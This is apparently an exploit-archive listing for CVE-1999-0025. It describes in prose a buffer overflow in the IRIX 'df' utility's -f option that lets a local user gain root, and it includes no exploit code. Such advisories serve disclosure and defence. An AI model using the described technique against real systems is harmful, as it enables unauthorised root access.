Description

SGI IRIX 6.3 df Vulnerability. CVE-1999-0025. Local exploit for irix platform

                                        
                                            source: http://www.securityfocus.com/bid/346/info

A buffer overflow exists in IRIX 5.x and 6.x 'df' utility, from Silicon Graphics Inc. By supplying a long argument to the -f option of df, a user can crash the df program. By carefully crafting a buffer containing machine executable code, an attacker can run arbitrary commands as root.
